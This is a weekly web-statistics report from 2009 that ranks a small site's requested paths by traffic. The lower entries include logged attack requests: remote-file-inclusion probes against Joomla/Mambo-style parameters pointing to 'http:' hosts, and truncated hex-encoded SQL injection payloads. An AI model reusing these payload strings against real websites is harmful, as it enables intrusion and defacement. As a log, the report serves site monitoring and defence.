Directories Report

Week of 9/13/2009 to 9/19/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 25,844 60.63 368,458,197 64.91 846 17.57
2 [ /season] 10,651 24.99 58,545,615 10.31 1,235 25.65
3 [ /Templates] 2,262 5.31 1,723,410 0.30 798 16.57
4 / 1,042 2.44 19,658,198 3.46 837 17.38
5 [ /stats] 858 2.01 2,341,397 0.41 40 0.83
6 [ /webstats] 766 1.80 1,782,940 0.31 355 7.37
7 [ /pdfs] 351 0.82 96,499,715 17.00 205 4.26
8 /SASregistration.htm 107 0.25 4,343,232 0.77 102 2.12
9 /index.htm 92 0.22 1,960,362 0.35 87 1.81
10 /SAScontact.htm 75 0.18 1,236,672 0.22 72 1.50
11 [ /galleries] 69 0.16 57,624 0.01 13 0.27
12 [ /?sIncPath=http:] 61 0.14 1,476,322 0.26 0 0.00
13 /SASabout.htm 52 0.12 1,027,545 0.18 48 1.00
14 /SASfosas.htm 51 0.12 1,023,320 0.18 47 0.98
15 /SASgallery.htm 48 0.11 975,120 0.17 46 0.96
16 [ /?_SERVER[DOCUMENT_ROOT]=http:] 37 0.09 895,474 0.16 0 0.00
17 [ /?custompluginfile[]=http:] 37 0.09 895,474 0.16 0 0.00
18 /SASscholarship.htm 33 0.08 585,252 0.10 30 0.62
19 /SASnewsletter.htm 28 0.07 538,318 0.09 27 0.56
20 [ /?_zb_path=http:] 26 0.06 629,252 0.11 0 0.00
21 /SASlinks.htm 26 0.06 412,335 0.07 24 0.50
22 [ /?view=page&pagename=http:] 21 0.05 508,242 0.09 0 0.00
23 [ /?mosConfig_absolute_path=http:] 13 0.03 314,626 0.06 0 0.00
24 [ ////////?mosConfig_absolute_path=http:] 4 0.01 96,808 0.02 0 0.00
25 [ //?sourcedir=http:] 4 0.01 96,808 0.02 0 0.00
26 [ /?DOCUMENT_ROOT=http:] 4 0.01 96,808 0.02 0 0.00
27 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 4 0.01 96,808 0.02 0 0.00
28 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
3 0.01 72,606 0.01 0 0.00
29 [ /?custompluginfile=http:] 3 0.01 72,606 0.01 0 0.00
30 [ /?page=http:] 3 0.01 72,606 0.01 0 0.00
31 /?tp=1 3 0.01 24,202 0.00 0 0.00
32 [ ////?_SERVER[DOCUMENT_ROOT]=http:] 2 0.00 48,404 0.01 0 0.00
33 [ ///?_SERVER[DOCUMENT_ROOT]=http:] 2 0.00 48,404 0.01 0 0.00
34 [ //?_zb_path=http:] 2 0.00 48,404 0.01 0 0.00
35 [ //?mosConfig_absolute_path=http:] 2 0.00 48,404 0.01 0 0.00
36 /. 2 0.00 48,404 0.01 2 0.04
37 /?;DECLARE 2 0.00 24,202 0.00 0 0.00
38 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
2 0.00 48,404 0.01 0 0.00
39 [ /?GLOBALS[mosConfig_absolute_path]=http:] 2 0.00 48,404 0.01 0 0.00
40 [ /?_zb_path=..] 2 0.00 48,404 0.01 0 0.00
41 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
2 0.00 24,202 0.00 0 0.00
42 /?feed=rss2 2 0.00 48,404 0.01 0 0.00
43 /?id=http: 2 0.00 48,404 0.01 0 0.00
44 /?leisurelog.com 2 0.00 48,404 0.01 0 0.00
45 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 2 0.00 48,404 0.01 0 0.00
46 [ /////?DOCUMENT_ROOT=http:] 1 0.00 24,202 0.00 0 0.00
47 [ ///?path[docroot]=http:] 1 0.00 24,202 0.00 0 0.00
48 /?';DECLARE 1 0.00 24,202 0.00 0 0.00
49 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,202 0.00 0 0.00
50 /?> 1 0.00 24,202 0.00 0 0.00
51 [ /?ABSOLUTE_PATH_STUDIP=http:] 1 0.00 24,202 0.00 0 0.00
52 [ /?_SERVER[DOCUMENT_ROOT]=..] 1 0.00 24,202 0.00 0 0.00
53 /?citysearch_profile_view=1&profile_id=41271045 1 0.00 24,202 0.00 0 0.00
54 [ /?custompluginfile[]=..] 1 0.00 24,202 0.00 0 0.00
55 [ /?custompluginfile[]http:] 1 0.00 24,202 0.00 0 0.00
56 [ /?error=http:] 1 0.00 24,202 0.00 0 0.00
57 /?foiffs=in100fweg 1 0.00 24,202 0.00 0 0.00
58 [ /?id=http://CPE-144-131-145-199.static.nsw.bigpond.net.au] 1 0.00 24,202 0.00 0 0.00
59 [ /?language_id=http:] 1 0.00 24,202 0.00 0 0.00
60 /?menu_frame.html 1 0.00 24,202 0.00 0 0.00
61 [ /?mosConfig_absolute_path= http:] 1 0.00 24,202 0.00 0 0.00
62 [ /?mosConfig_absolute_path=..] 1 0.00 24,202 0.00 0 0.00
63 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
1 0.00 24,202 0.00 0 0.00
64 /?p=40148 1 0.00 24,202 0.00 0 0.00
65 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,202 0.00 0 0.00
66 [ /icons] 1 0.00 0 0.00 1 0.02